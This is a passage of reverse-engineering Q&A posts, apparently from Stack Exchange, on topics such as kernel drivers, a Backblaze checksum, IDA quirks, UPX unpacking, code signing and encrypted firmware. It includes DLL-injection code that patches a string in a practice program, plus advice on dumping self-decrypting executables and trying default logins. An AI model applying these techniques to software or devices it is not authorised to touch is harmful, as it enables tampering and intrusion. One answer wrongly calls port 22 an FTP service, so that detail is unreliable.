        "Title": "Do all drivers exist in Kernel mode?",
        "Tags": "|windows|dll|memory|kernel-mode|",
        "Answer": "<blockquote>\n  <p>Would this driver exist in user space, or in kernel space?</p>\n</blockquote>\n\n<p>Kernel space.</p>\n\n<blockquote>\n  <p>Is it even possible for a non kernel mode driver to exist?</p>\n</blockquote>\n\n<p>You can write a user-mode driver using the User-Mode Driver Framework, but that type of driver is effectively a user-mode service with access to some extra I/O functionality.</p>\n\n<p>What we typically think of as a \"driver\" is a kernel-mode driver.</p>\n\n<blockquote>\n  <p>If it's that simple to load a driver in kernel mode (I'm assuming it's not) then why don't we see more malware in the form of drivers?</p>\n</blockquote>\n\n<p>The first thing that <code>NtLoadDriver()</code> does is check that the caller's token has <code>SeLoadDriverPrivilege</code>, which even administrators' tokens don't have by default.</p>\n\n<p>Other reasons we don't see much malware in the form of drivers:</p>\n\n<ul>\n<li>It's more difficult to develop (malicious) kernel-mode code than it is to develop (malicious) user-mode code. Since it's rare that a malware author would need to do something that can only be done from kernel-mode, there's usually not much value in writing a malicious driver.</li>\n<li>Modern versions of Windows have very strict driver-signing requirements with regard to allowing a driver to load. Getting a legitimate driver-signing certificate is not easy to do for a malware author, and once Microsoft discovers that said certificate is being used to sign malicious drivers, Microsoft will revoke the certificate and prevent all Windows installations from loading drivers signed with that certificate.</li>\n</ul>\n"
    },
    {
        "Id": "12193",
        "CreationDate": "2016-03-09T20:41:39.327",
        "Body": "<p>I use Backblaze to back up my computer. You restore files from your backups by selecting files to restore, which are then packed into large zip files. Of course, it's fairly rare to be able to download a 500GB zip file without a connection interruption, so a sane developer would implement support for the HTTP Range header to allow users to resume downloads.</p>\n\n<p>They have not done so. Instead, they have a boutique download utility that specifies the requested byte ranges by emulating a POSTed HTML form. This utility does all the stuff you'd expect a normal download manager to do, like downloading with multiple connections at a time and resuming partially completed downloads, but due to some dodgy design issues (like opening a fully-fledged process, not a thread, for each 40MB block) it is rather inefficient on fast (>100 Mbps) connections. It also is Windows-exclusive.</p>\n\n<p>I'm trying to write an open source replacement in Node.js that removes some of the suck, but I'm up against a roadblock: one of the fields the utility sends in its POST requests is called \"bzsanity\" and is a 16-bit checksum over the account email address. Unfortunately, I can't figure out what the algorithm is. Maybe I'm just dumb, but I'm hoping you guys can help me out.</p>\n\n<p>Here are some checksum values:</p>\n\n<ul>\n<li>test@test.com: 028a</li>\n<li>Test@test.com: 4152</li>\n<li>test2@test.com: 3d0f</li>\n<li>test: 494c</li>\n<li>aa: acf2</li>\n<li>ab: aaad</li>\n<li>ac: 8e4d</li>\n<li>ad: 0436</li>\n<li>\"\" (empty string): a93e</li>\n<li>a: ce7f</li>\n<li>b: 1a1e</li>\n<li>c: 1540</li>\n<li>d: 6c57</li>\n</ul>\n\n<p>If you want more test vectors, I can probably deliver. I've tried adding the bytes in an accumulator and a few variants of CRC-16, and those approaches don't work.</p>\n",
        "Title": "Backblaze 16-bit checksum (\"bzsanity\")",
        "Tags": "|crc|",
        "Answer": "<p>As CTO and founder of Backblaze, I wrote the original source code of the Backblaze client, and Jason Geffner above is correct. That is:</p>\n\n<ol>\n<li>hexencode the email address (all lowercase, email addresses are not case sensitive)</li>\n<li>take the sha1 - the result should be a 40 byte human readable all lowercase string</li>\n<li>if the sha1 characters have \"zero\" for the index of the very initial character, then take the characters at index 1, 3, 5, and 7.</li>\n</ol>\n\n<p>-- BrianW</p>\n"
    },
    {
        "Id": "12194",
        "CreationDate": "2016-03-09T21:31:23.167",
        "Body": "<p>I use IDA Pro 6.8.150428 (idaq64.exe) to disassemble system dlls (64 bit) e.g. ntdll.dll, kernel32.dll, etc. in Windows 10 64 bit. I found idaq64.exe correctly disassembling 64 bit sample applications (.exe) but generating incorrect dis-assembly for the dlls e.g. shows 32 bit register operands, etc. I checked the IDA Pro dis-assembly output with WinDbg (runtime) and Intel XED (static) output. While Windbg and XED outputs are consistent with each other, they are completely different than that of IDA Pro.</p>\n\n<p>Runtime disassembly in WinDbg @00007ffda61c12e0</p>\n\n<pre><code>00007ffda61c12db      call    ntdll!NtQueryPerformanceCounter (00007ffda6213b30)\n00007ffda61c12e0      mov     eax,dword ptr [rsp+30h]\n00007ffda61c12e4      mov     rsi,qword ptr [rsp+40h]\n00007ffda61c12e9      shl     rax,20h\n00007ffda61c12ed      xor     rax,qword ptr [rsp+30h]\n00007ffda61c12f2      xor     rax,rbx\n00007ffda61c12f5      mov     rbx,qword ptr [rsp+38h]\n00007ffda61c12fa      xor     rax,rdi\n00007ffda61c12fd      add     rsp,20h\n00007ffda61c1301      pop     rdi\n00007ffda61c1302      ret\n</code></pre>\n\n<p>The static address in the ntdll.dll binary corresponding to the runtime address mentioned above (7ffda61c12e0) is 4b2c12e0. I even don't see the address in ntdll.dll dis-assembly in IDA Pro. It shows:</p>\n\n<pre><code>.text:4B2C12DF                 test    eax, eax\n.text:4B2C12E1                 js      loc_4B30C906\n.text:4B2C12E7                 mov     [esp+278h+var_255], 1\n.text:4B2C12EC\n.text:4B2C12EC loc_4B2C12EC:                           ; CODE XREF: LdrpPreprocessDllName(x,x,x,x)+4B66Bj\n.text:4B2C12EC                 mov     ecx, [esp+278h+var_254]\n.text:4B2C12F0                 xor     ebx, ebx\n.text:4B2C12F2                 xor     dl, dl\n.text:4B2C12F4                 mov     [esp+278h+var_264], ebx\n.text:4B2C12F8                 mov     [esp+278h+var_25D], dl\n.text:4B2C12FC                 test    byte ptr [ecx], 8\n.text:4B2C12FF                 jnz     loc_4B2C160B\n.text:4B2C1305                 mov     edi, [esp+278h+var_25C]\n.text:4B2C1309                 xor     al, al\n.text:4B2C130B                 mov     ecx, large fs:30h\n .text:4B2C1312                 mov     [esp+278h+var_244], edi\n</code></pre>\n\n<p>Apparently, IDA Pro is disassembling the dll incorrectly. How can I make IDA Pro correctly disassemble 64 bit dlls?  </p>\n",
        "Title": "IDA Pro 64 bit disassembly error for system DLLs",
        "Tags": "|ida|disassembly|dll|",
        "Answer": "<p>On 64-bit Windows, any 32-bit process trying to access <code>C:\\Windows\\system32</code> is transparently redirected to <code>C:\\Windows\\SysWOW64</code>. </p>\n\n<p>Since IDA (Both <code>idaq.exe</code> and <code>idaq64.exe</code>) are 32-bit processes, you are actually opening <code>C:\\Windows\\SysWOW64\\ntdll.dll</code> (which is a 32-bit file) instead of <code>C:\\Windows\\system32\\ntdll.dll</code>.</p>\n\n<p>To open the correct file, copy it from <code>C:\\Windows\\system32</code> to a different directory, and open it from there.</p>\n"
    },
    {
        "Id": "12197",
        "CreationDate": "2016-03-10T07:24:30.047",
        "Body": "<p>Ollydbg gives default output in which assembly language instructions in Intel or AT&amp;T syntax ?</p>\n\n<p>Is there an option to change the assembly language syntax ?</p>\n",
        "Title": "Ollydbg gives output in which assembly language instructions in Intel or AT&T syntax?",
        "Tags": "|disassembly|ollydbg|",
        "Answer": "<p>The default output is in Intel syntax. Precisely, Ollydbg 1.10 uses <code>MASM</code>, <code>IDEAL</code> or <code>HLA</code> syntax which are both based on Intel syntax. AT&amp;T syntax is not available in version 1.10 but it is available in version 2.0</p>\n\n<p>For Ollydbg 1.10 you can choose between <code>MASM</code>, <code>IDEAL</code> or <code>HLA</code> in <code>Options -&gt; Debugging Options -&gt; Disasm</code>.</p>\n\n<p>For Ollydbg 2.00 you can choose between the <code>AT&amp;T</code> syntax and the mentioned above in  <code>Options -&gt; Options -&gt; Code (Code options)</code></p>\n"
    },
    {
        "Id": "12208",
        "CreationDate": "2016-03-13T11:26:09.390",
        "Body": "<p>What is the Radare2 equivalent of going to the import table in ida, hitting enter on a function and then pressing ctrl+x?</p>\n\n<p>When I use axt, it can only find xrefs to strings.</p>\n",
        "Title": "Radare2 find xrefs to a function in the import table",
        "Tags": "|radare2|",
        "Answer": "<p>After some researching. </p>\n\n<p>I ran aaa and now you can use axt @ sym.imp.[dll].[function]</p>\n"
    },
    {
        "Id": "12211",
        "CreationDate": "2016-03-14T16:27:52.797",
        "Body": "<p>To what kind of compression algorithm could the following sentences belong to?    </p>\n\n<pre><code>AxFWR:YRCtIPns&lt;_o%p_=Q&gt;LELBM\nAxFWRPA:cXe#&lt;InM=L:Mthwekblc\nAxFWREFEp`f?PU`;K;M:;P?MDMCL\nAxFWRW%VK&gt;Hk]hhDTSERSHWEKBLC\nAxFWRiQifLRCE@t&gt;N&lt;J=&lt;L;QHQGP\nAxFWRTWTArlZ[fJhxbtcbrewax%y\n</code></pre>\n\n<p>I don't think that it is any kind of hash but rather a simpler algorithm. I tried Base64, but I am sure that it is not.</p>\n\n<p>Also I know that fragments of the \"plain text\" of every of these strings probably include (in order) :</p>\n\n<pre><code>4B3A29\n4609\nN00852\nA00\n</code></pre>\n\n<p>Just to give you an example it could look like:\n 4B3A29 ... 4609532N 00852444E A00 ...</p>\n",
        "Title": "What compression algorithm could have generated these strings?",
        "Tags": "|decompress|strings|",
        "Answer": "<p>As stated by @ashleydc, it's most likely custom Base64.If you have enough ciphertexts, an easy way to check if it's custom Base64 would be to compute the number of unique characters. (there are 56 unique chars with the few given examples, so it's a fair bet).</p>\n\n<p>After that, it's \"just\" a substitution cipher. Having a plaintext/ciphertext couple would tremendously help. Otherwise, if the plaintext has enough constraints (only digits/uppercase as you might hint?), you'll have to guess enough about the plaintext (most propable tuples, etc) until you're able to bruteforce it. </p>\n"
    },
    {
        "Id": "12215",
        "CreationDate": "2016-03-15T13:43:14.807",
        "Body": "<p>Is it a safe assumption, say for x86, that an instruction either does not access memory, or only reads from memory, or writes to memory?</p>\n\n<p>I could not find any instruction but I am not sure if this really is the case.</p>\n\n<p>What about ARM and MIPS?</p>\n",
        "Title": "Are there assembly instructions which both read from, and write to, memory?",
        "Tags": "|assembly|x86|arm|memory|mips|",
        "Answer": "<p>Your question has been answered in comments for x86 - <code>movsb</code> both reads and writes to memory. </p>\n\n<p>On ARM the only instructions that touch memory is \"read from memory to a register\" and \"write a register to memory\", so no there aren't. Same with MIPS. </p>\n\n<p>IIRC all (or almost all?) RISC processors are this \"load and store\" architecture.</p>\n"
    },
    {
        "Id": "12240",
        "CreationDate": "2016-03-17T14:11:06.630",
        "Body": "<p>Say i have Windows executable that looks like normal one, but actually has encrypted segments or blocks of code, and the way it calculates key to decrypt itself at run-time way hard for me. </p>\n\n<p>I'd like to try create a decrypted version of that program by stripping out \"self-decryptor part\" and exporting program as it was at run-time (under debug). I am not looking for way to find &amp; remove decryption-related code.</p>\n\n<p>Having IDA Pro (or  other tools), how can i re-save executable file at run-time (after program decrypted itself), or i am thinking in completely wrong direction and should not try doing it?</p>\n\n<p>I've read <a href=\"https://reverseengineering.stackexchange.com/questions/8910/packed-pe-file-where-to-start?rq=1\">this answer and question</a> but i am wondering if i really cannot just re-save executable at runtime and try to make it \"runnable\"? Is this possible?</p>\n",
        "Title": "Create unprotected executable for program that decrypts itself at run-time dynamically?",
        "Tags": "|ida|windows|x86|pe|decryption|",
        "Answer": "<p>If you are dealing with a packed/crypted executable it is not possible to just dump the file from memory and make it \"runnable\". You need to do at least two things:</p>\n\n<ul>\n<li>Modify the <a href=\"https://en.wikipedia.org/wiki/Entry_point\" rel=\"nofollow noreferrer\">Entry Point</a> so that you bypass the execution of the code in the unpacking stub.</li>\n<li>Fix the <a href=\"https://en.wikipedia.org/wiki/Portable_Executable#Import_Table\" rel=\"nofollow noreferrer\">import table</a>.</li>\n</ul>\n\n<p>To do these two things, you need to have some basic understanding about the <a href=\"https://en.wikipedia.org/wiki/Portable_Executable\" rel=\"nofollow noreferrer\">PE file format</a>. You can find some useful links about the PE file format in this <a href=\"https://reverseengineering.stackexchange.com/a/11478/12897\">answer</a>.</p>\n\n<p>If you know what type of crypter/packer is being used on the file, feel free to upload the sample or tell me so I can maybe give you some guidelines on obtaining the payload. You can check this with a tool like <a href=\"https://www.aldeid.com/wiki/PEiD\" rel=\"nofollow noreferrer\">PEid</a> or <a href=\"http://exeinfo.atwebpages.com/\" rel=\"nofollow noreferrer\">ExeInfo</a>.</p>\n"
    },
    {
        "Id": "12243",
        "CreationDate": "2016-03-17T19:24:38.157",
        "Body": "<p>If I pack an executable using UPX and then unpack the executable using UPX -d, the executables are not the same. I understand techniques for unpacking executables that are packed using UPX, but I was wondering - what happens to the executable during packing/unpacking? How does this affect the preservation of information inside the executable? (For example, if I compile C code and then decompile it I'll have lost a lot of variable name information.)</p>\n\n<p>EDIT: I've verified that after UPX packing/repacking the binary is not the same. The state machine looks something like:</p>\n\n<p>#1 (Original) ----UPX Pack----> #2 (Packed)</p>\n\n<p>#2 (Packed) -----UPX Unpack----> #3 (Unpacked)</p>\n\n<p>#3 (Unpacked) -----UPX Pack-----> #4 (Repacked)</p>\n\n<p>#4 (Repacked) -----UPX Unpack----> #3 (Unpacked)</p>\n\n<p>Where #1, #2, #3, and #4 all have different hashes.</p>\n",
        "Title": "UPX packing/unpacking information preservation",
        "Tags": "|unpacking|upx|",
        "Answer": "<p>If you compare the hash values of original/unpacked files, then they are different since <code>upx -d</code> does not restore bit-by-bit of the original file. Indeed, <code>UPX</code> parses the original file and <em>keeps only information so that the packed data, after being unpacked, can be executed exactly the same as the original one</em>, i.e. the original/unpacked files are semantically equivalent but not physically equivalent^^.</p>\n\n<p>That is understandable since there is information that not affect to the execution of the binary, a trivial instance is the data between the end of DOS stub and the begin of PE header. For more detail, you may refer to the function <code>pack</code> of the class, for example, <code>PackW32Pe</code> (in <code>p_w32pe.h/cpp</code>) for PE and the function <code>unpack</code> of the class <code>Packer</code> (in <code>packer.h/cpp</code>).</p>\n\n<p>For example, we can see that <code>UPX</code> modifies the (DOS and PE) header of the unpacked file using the following code (I have renamed some variables for more comprehensible). First, it decompresses and extracts the header:</p>\n\n<pre><code>// decompress\ndecompress(input_buffer, output_buffer);\nupx_byte *extrainfo = output_buffer + get_le32(output_buffer + ph.u_len - 4);\n\nmemcpy(&amp;output_header, extrainfo, sizeof (output_header));\n</code></pre>\n\n<p>then modifies slightly the header:</p>\n\n<pre><code>...\noutput_header.headersize = rvamin;\noutput_header.chksum = 0;\n\n//NEW: disable reloc stripping if ASLR is enabled\nif(input_header.dllflags &amp; IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE)\n    opt-&gt;win32_pe.strip_relocs = false;\n\n// FIXME: ih.flags is checked here because of a bug in UPX 0.92\nif ((opt-&gt;win32_pe.strip_relocs &amp;&amp; !isdll) || (input_header.flags &amp; RELOCS_STRIPPED))\n{\n  output_header.flags |= RELOCS_STRIPPED;\n  ODADDR(PEDIR_RELOC) = 0;\n  ODSIZE(PEDIR_RELOC) = 0;\n}\n\n// write decompressed file\nif (output_file)\n{\n...\n</code></pre>\n"
    },
    {
        "Id": "12246",
        "CreationDate": "2016-03-18T12:44:37.363",
        "Body": "<p>While analyzing/studying/RE  exe's/dll's  you  see the certificates in peview/hexeditor etc. but how does one come to know that the certificate is a fake/malicious/expired one, there has to be a central repository of all the good or bad certificates,one which I know of is HerdProtect[.]com which tells you if the company/developer is known to distribute malware.</p>\n\n<p>Plus, I have read that people steal code signing certificates from companies and use them to sign their malware, my question is while reversing what strings should I look for in Olly/IDA ,I'm guessing the malware will be enumerating using FindFirstFile, FindNextFile etc. for a specific file(certificate file) in the system what string do such malware look for, <strong>\"OR  HAVE I GOT IT WRONG\"</strong>.</p>\n\n<p>Also many exe's are signed twice why so?Is it to fool security vendors or is it normal to sign with multiple certificates.</p>\n",
        "Title": "How do malware steal Code signing certificates?",
        "Tags": "|windows|malware|",
        "Answer": "<p>For an executable with a digital certificate, it's easy enough to check for the certificate's information and origin by looking at the executable's properties. For example, here's what is shown for Skype:</p>\n\n<p><a href=\"https://i.stack.imgur.com/jO6he.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/jO6he.png\" alt=\"enter image description here\"></a></p>\n\n<p>These certificates are issued to a developer from a trusted Certification Authority (CA) and are used to sign the executable before distributing it. In theory, the CA should fully verify the identity of the developer applying for a certificate before issuing one, but in practice a CA is still a system involving imperfect entities and it's possible for a malware author to apply for and receive a \"good\" certificate from a trusted CA while never producing anything but malware.</p>\n\n<p>If you refer back to the first image of the Skype certificates and select \"Details\", you'll be able to get more information about the certificate and its origin:</p>\n\n<p><a href=\"https://i.stack.imgur.com/G9VaH.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/G9VaH.png\" alt=\"enter image description here\"></a></p>\n\n<p>In this image, we can see exactly who the certificate was issued to and who issued it, along with relevant issue date and expiration information. This is a direct download from the official Skype site, so I can be pretty confident that the software was made by who it says. Likewise, the certificate was issued by the Microsoft Code Signing PCA, so we can be at least reasonably confident that the certificate is trustworthy. If you look at the \"Certification Path\" tab, you can trace the certificate all the way back to the root CA and again verify that everything looks as it should.</p>\n\n<p>Determining whether or not the certificate is malicious or stolen can be difficult to detect, but is somewhat a matter of common sense. Does your certificate claim to be issued to a legitimate publisher (e.g., Microsoft) but you know that the software you downloaded is not from them? Something may be amiss. You can also look at the issuing CA and try to find information online about their reputation. Does the CA do a bad job of screening out people who distribute malware? Do they have a reputation for poor information security? If the issuer seems sketchy, then they very well may be. Relying on the reputation of CAs is a known vulnerability.</p>\n\n<p>Now, as to your second question: the certificate consists of a private/public key pair, with the private key kept private (of course) and the public key distributed with the application. Using a code signing tool, a developer generates a hash of the executable and encrypts it with the private key. This hash is distributed with the public key portion of the certificate in the executable. On the user's end, a new hash of the executable is taken and decrypted with the public key to verify its integrity. This means that executables that have been modified after having been signed won't have a valid certificate and you should get a warning when trying to install or run them. If you want to see a list of certificates on your system (both trusted and untrusted), open up a command prompt window and run <code>certmgr</code></p>\n\n<p>Note that in order for a legitimate certificate to be \"stolen\" and malware to sign itself with it, it would need access to the private key. If the private key is exposed (<a href=\"https://www.kb.cert.org/vuls/id/925497\" rel=\"nofollow noreferrer\">like what happened to Dell several years ago...</a>) then it is possible for a malware author to sign their software as if they were the developer to whom the certificate was issued. If this private key is kept private, then it should theoretically be safe. I think the answer to your second question is that you're a bit confused as to how code signing works, but if you <em>did</em> manage to come across a bit of malware that was attempting to generate signed code, I would keep an eye out for sections of code attempting to launch a <code>signtool</code> instance, loading a <code>.pfx</code> or other private key file, etc.</p>\n\n<p>I am not an expert on code signing or certification authorities, so it's possible that there are cases where malware generates self-signed certificates, messes with root CAs on the system, etc., but someone more experienced than me would have to weigh in on that...</p>\n\n<p>As for the dual-signing in your third question, it would be helpful to see an example of what you're talking about, but I did find that Skype is signed with two certificates. The primary difference between the two is the digest algorithm, with one being sha1 and the other sha256. This is likely a mechanism to deal with legacy users who have an operating system for which sha256 is not currently supported and require the older (and deprecated) sha1 digest algorithm. (see: <a href=\"https://security.stackexchange.com/questions/109629/deprecation-of-sha1-code-signing-certificates-on-windows\">https://security.stackexchange.com/questions/109629/deprecation-of-sha1-code-signing-certificates-on-windows</a>)</p>\n\n<p>For a more in-depth look at code signing and certification authorities, feel free to check out <a href=\"https://msdn.microsoft.com/en-us/library/ms537361(v=vs.85).aspx\" rel=\"nofollow noreferrer\">this MSDN article</a>.</p>\n"
    },
    {
        "Id": "12254",
        "CreationDate": "2016-03-19T14:54:12.247",
        "Body": "<p>I'm trying to reverse engineering a simple program (learning purpose) using IDA and I got stuck on this instruction:</p>\n\n<pre><code>mov    dl, byte_404580[eax]\n</code></pre>\n\n<p>This instruction stores in the first 8 bit of <code>EDX</code> a value derived from <code>EAX</code> and <code>byte_404580</code> but I don't know how it is actually computed.</p>\n\n<p>Looking at <code>byte_404580</code> is stored the hex value <code>69h</code>:</p>\n\n<pre><code>.data:00404580 byte_404580     db 69h\n</code></pre>\n\n<p>Is it the same of <code>[eax+69h]</code> or not?</p>\n",
        "Title": "What does mov from hex[eax] mean?",
        "Tags": "|ida|disassembly|",
        "Answer": "<p>(Copying the comments of Extreme Coders so the question can be marked as answered.)</p>\n\n<p>It is similar to array notation.The instruction fetches the byte at an offset of <code>eax</code> from <code>byte_404580</code>.</p>\n\n<p>Related question : <a href=\"https://stackoverflow.com/questions/12148010/understanding-x86-mov-syntax\">https://stackoverflow.com/questions/12148010/understanding-x86-mov-syntax</a></p>\n"
    },
    {
        "Id": "12258",
        "CreationDate": "2016-03-20T04:02:57.953",
        "Body": "<p>When reversing a ARM firmware using IDA Pro, I find a instruction:</p>\n\n<p>ROM:080461FC 0F F2 24 30         ADR.W      R0, aBt_test_mode ; \"BT_TEST_MODE\"</p>\n\n<p>...</p>\n\n<p>ROM:08046524    aBt_test_mode       DCB \"BT_TEST_MODE\",0</p>\n\n<p>...</p>\n\n<p>I know this is a Thumb-2 instruction.\n<a href=\"https://i.stack.imgur.com/FlMsb.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/FlMsb.png\" alt=\"enter image description here\"></a>\nimm8=0010 0100</p>\n\n<p>Rd=0000</p>\n\n<p>imm3=011</p>\n\n<p>but I don't know how to calculate imm32. (imm32 = ZeroExtend(i:imm3:imm8, 32))\nand how to calculate the 08046524?</p>\n",
        "Title": "The questions about ADR.W instruction",
        "Tags": "|arm|thumb2|",
        "Answer": "<p>As you say, you have -</p>\n\n<p><code>imm8 = 0010 0100</code></p>\n\n<p><code>imm3 = 011</code></p>\n\n<p>but you also have</p>\n\n<p><code>i = 0</code></p>\n\n<p>then</p>\n\n<p><code>imm32 = ZeroExtend(i:imm3:imm8,32) =&gt;</code></p>\n\n<p><code>imm32 = ZeroExtend(0:011:00100100,32) =&gt;</code></p>\n\n<p><code>imm32 = ZeroExtend(001100100100,32) =&gt;</code></p>\n\n<p><code>imm32 = 00000000000000000000001100100100 = 0x00000324</code></p>\n\n<p>The ADR instruction description explains that \"This instruction adds an immediate value to the PC value to form a PC-relative address, and writes the result to the\ndestination register.\"</p>\n\n<p>As you are in Thumb mode, the value of PC is equal to the (4 byte aligned) address of the instruction + 4 bytes. \nIn your case the instruction is at address <code>0x080461FC</code> so <code>PC = 0x080461FC + 4 = 0x08046200</code></p>\n\n<p>The address calculation is then -</p>\n\n<p><code>PC + imm32 = 0x08046200 + 0x00000324 = 0x08046524</code></p>\n\n<p>This is what you see in IDA's disassembly.</p>\n\n<p>If you look in the 'Operation' section of the ADR instruction in the ARM architecture reference manual you can see this explained.</p>\n"
    },
    {
        "Id": "12267",
        "CreationDate": "2016-03-22T00:42:53.800",
        "Body": "<p>I'm trying to extract the firmware from my set-top box (STB) because I realized its port 22 is open and running <a href=\"https://wiki.openwrt.org/doc/uci/dropbear\" rel=\"nofollow\">dropbear</a>, and I'd like to login to it. Well, because it's there. I've tried <a href=\"http://binwalk.org/\" rel=\"nofollow\">binwalk</a>, but that's coming up blank:</p>\n\n<pre><code>$ binwalk apollo_fw4_full_p_1.1.32_nand.bin \n\nDECIMAL     HEX         DESCRIPTION\n-------------------------------------------------------------------------------------------------------\n\n$ \n</code></pre>\n\n<p>Likewise <a href=\"https://bitsum.com/firmware_mod_kit.htm\" rel=\"nofollow\">Firmware Mod Kit</a> fails:</p>\n\n<pre><code>$ ./extract-firmware.sh ../apollo_fw4_full_p_1.1.32_nand.bin \nFirmware Mod Kit (extract) 0.99, (c)2011-2013 Craig Heffner, Jeremy Collake\n\nPreparing tools ...\nScanning firmware...\n\nScan Time:     2016-03-21 15:05:55\nSignatures:    193\nTarget File:   /home/ob1/apollo_fw4_full_p_1.1.32_nand.bin\nMD5 Checksum:  b100590cbe030628d97e6d39c6f7fde8\n\nDECIMAL     HEX         DESCRIPTION\n-------------------------------------------------------------------------------------------------------\n\nExtracting 0 bytes of  header image at offset 0\nERROR: No supported file system found! Aborting...\n</code></pre>\n\n<p>Does the \"nand\" in the filename mean anything?\nIs it encrypted possibly? </p>\n\n<p>Here is a link to the file for those interested: <a href=\"https://docs.google.com/uc?id=0B9QI-CmVjKHdekdOOU5EWk9rbTQ&amp;export=download\" rel=\"nofollow\">https://docs.google.com/uc?id=0B9QI-CmVjKHdekdOOU5EWk9rbTQ&amp;export=download</a></p>\n\n<p>I've scoured for answers and have found none, so I appreciate your input. </p>\n",
        "Title": "Firmware extraction problems - binwalk is blank",
        "Tags": "|firmware|",
        "Answer": "<p>The firmware image is likely to be encrypted.</p>\n<p><img src=\"https://i.stack.imgur.com/VjA8q.png\" alt=\"Entropy Scan\" /></p>\n<p><a href=\"http://binvis.io/\" rel=\"nofollow noreferrer\">Entropy scan</a> reveals that it is mostly comprised of random bytes which happens if the firmware is compressed and/or encrypted. Since the binary lacks common compression magic signatures, it is most likely to be encrypted.</p>\n<p>To decrypt the firmware you need to obtain more information about the product that uses this firmware. You can refer to <strong><a href=\"http://web.archive.org/web/20190820225242/http://www.devttys0.com/2014/02/reversing-the-wrt120n-firmware-obfuscation/\" rel=\"nofollow noreferrer\">this</a></strong> blog post for some ideas.</p>\n<p>As you say port 22 is open running a FTP service you can try connecting to it with default user/pass combos. You can try finding other open ports via nmap.</p>\n"
    },
    {
        "Id": "12268",
        "CreationDate": "2016-03-22T01:44:18.257",
        "Body": "<p>I'm a novice when it comes to RE but I'm trying to get into it. I have a background in C/C++ so doing the development side of things should be a breeze (aside from when assembly has to be used, im rusty there). I just need to be pointed in the right direction with RE things and will be able to pick things up from there. </p>\n\n<p>I wrote a simple CLI program (HackMe.exe) to practice RE with, using OllyDbg. It just has a string(\"change me\") which I'm attempting to change (patch?) via a DLL.</p>\n\n<p>Here's the CLI prog source</p>\n\n<pre><code>#include &lt;iostream&gt;\n#include &lt;string&gt;\n#include &lt;Windows.h&gt;\n\nint main(int argc, char** argv) {\n    char* change_me = \"change me\";\n\n    while(true) {\n        std::cout &lt;&lt; change_me &lt;&lt; std::endl;\n        Sleep(3000);\n    }\n\n    return 0;\n}\n</code></pre>\n\n<p>and the DLL source so far which is bare bone</p>\n\n<pre><code>#include &lt;Windows.h&gt;\n#include &lt;fstream&gt;\n#include &lt;iostream&gt;\n\nVOID attach();\n\nBOOL APIENTRY DllMain(HMODULE module, DWORD reason, LPVOID reserved) {\n\n    switch(reason) {\n        case DLL_PROCESS_ATTACH: {\n            CreateThread(0, 0, (LPTHREAD_START_ROUTINE)&amp;attach, 0, 0, 0);\n            break;\n        }\n    }\n\n    return TRUE;\n}\n\nVOID attach() {\n    // patching code will go here\n}\n</code></pre>\n\n<p>So far what I've done is</p>\n\n<ul>\n<li>Attached OllyDbg to running HackMe.exe process</li>\n<li>Searched for all referenced text strings and followed the \"change me\" string</li>\n</ul>\n\n<p>Following the the string brought me to where the string was found</p>\n\n<p><a href=\"https://i.stack.imgur.com/jf5Kw.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/jf5Kw.png\" alt=\"enter image description here\"></a></p>\n\n<p>So correct me if I'm wrong or not including something but I believe I need to</p>\n\n<ul>\n<li>Find the base address of the process and the offset to the string address</li>\n<li>Patch the memory at base + offset with a new string thats len is == to the original </li>\n</ul>\n\n<p><strong>So i guess my questions are</strong></p>\n\n<ol>\n<li>How do I find the base offset of process (I assume I can do in the DLL using something like GetModuleHandle(\"HackMe.exe\"))? </li>\n<li>Is there a way to see the base offset in OllyDbg (not that useful I suppose since the base will more than likely change every time the exe is ran)?</li>\n<li>How do I find the +offset of the string from the base?</li>\n</ol>\n\n<p><strong>Working end result</strong></p>\n\n<pre><code>#include &lt;Windows.h&gt;\n\nVOID attach();\n\nBOOL APIENTRY DllMain(HMODULE module, DWORD reason, LPVOID reserved) {\n\n    switch(reason) {\n        case DLL_PROCESS_ATTACH: {\n            attach();\n            break;\n        }\n    }\n\n    return TRUE;\n}\n\nVOID attach() {\n\n    DWORD old;\n    DWORD base   = (DWORD)GetModuleHandle(NULL);\n    DWORD offset = 0x01CC80;\n\n    char* ptr = reinterpret_cast&lt;char*&gt;(base + offset);\n    const size_t length   = 10;\n    char buffer[ length ] = \"changed:)\";\n\n    VirtualProtect(ptr, length, PAGE_EXECUTE_READWRITE, &amp;old);\n    memcpy(ptr, buffer, length);\n    VirtualProtect(ptr, length, old, nullptr);\n}\n</code></pre>\n",
        "Title": "Patching a string using DLL injection and OllyDbg",
        "Tags": "|ollydbg|c++|memory|dll-injection|",
        "Answer": "<blockquote>\n  <ol>\n  <li>How do I find the base offset of process (I assume I can do in the DLL using something like GetModuleHandle(\"HackMe.exe\"))?</li>\n  </ol>\n</blockquote>\n\n<p>A process doesn't have a base offset; I believe you mean the base address of the primary module. To get that address, you would use <code>GetModuleHandle(NULL)</code>.</p>\n\n<blockquote>\n  <ol start=\"2\">\n  <li>Is there a way to see the base offset in OllyDbg (not that useful I suppose since the base will more than likely change every time the exe\n  is ran)?</li>\n  </ol>\n</blockquote>\n\n<p><kbd>Alt</kbd>+<kbd>E</kbd> will show you the base address of each loaded module.</p>\n\n<blockquote>\n  <ol start=\"3\">\n  <li>How do I find the +offset of the string from the base?</li>\n  </ol>\n</blockquote>\n\n<p>There are countless ways to do it, but an easy way is to use a tool like IDA or <a href=\"http://www.mcafee.com/us/downloads/free-tools/bintext.aspx\" rel=\"noreferrer\">BinText</a> to find the string's virtual address, and then subtract from that the default base address of HackMe.exe.</p>\n"
    },
    {
        "Id": "12271",
        "CreationDate": "2016-03-22T07:59:26.733",
        "Body": "<p>I loaded a shared library (I don't know the source of that) and made a header for that with IDA.</p>\n\n<p>Is this</p>\n\n<pre><code>class Tester {\n    public:\n    virtual void test();\n    virtual void replay();\n};\n</code></pre>\n\n<p>different from this?</p>\n\n<pre><code>class Tester {\n    public:\n    virtual void replay();\n    virtual void test();\n};\n</code></pre>\n",
        "Title": "Do I have to consider virtual function declaration order?",
        "Tags": "|ida|vtables|",
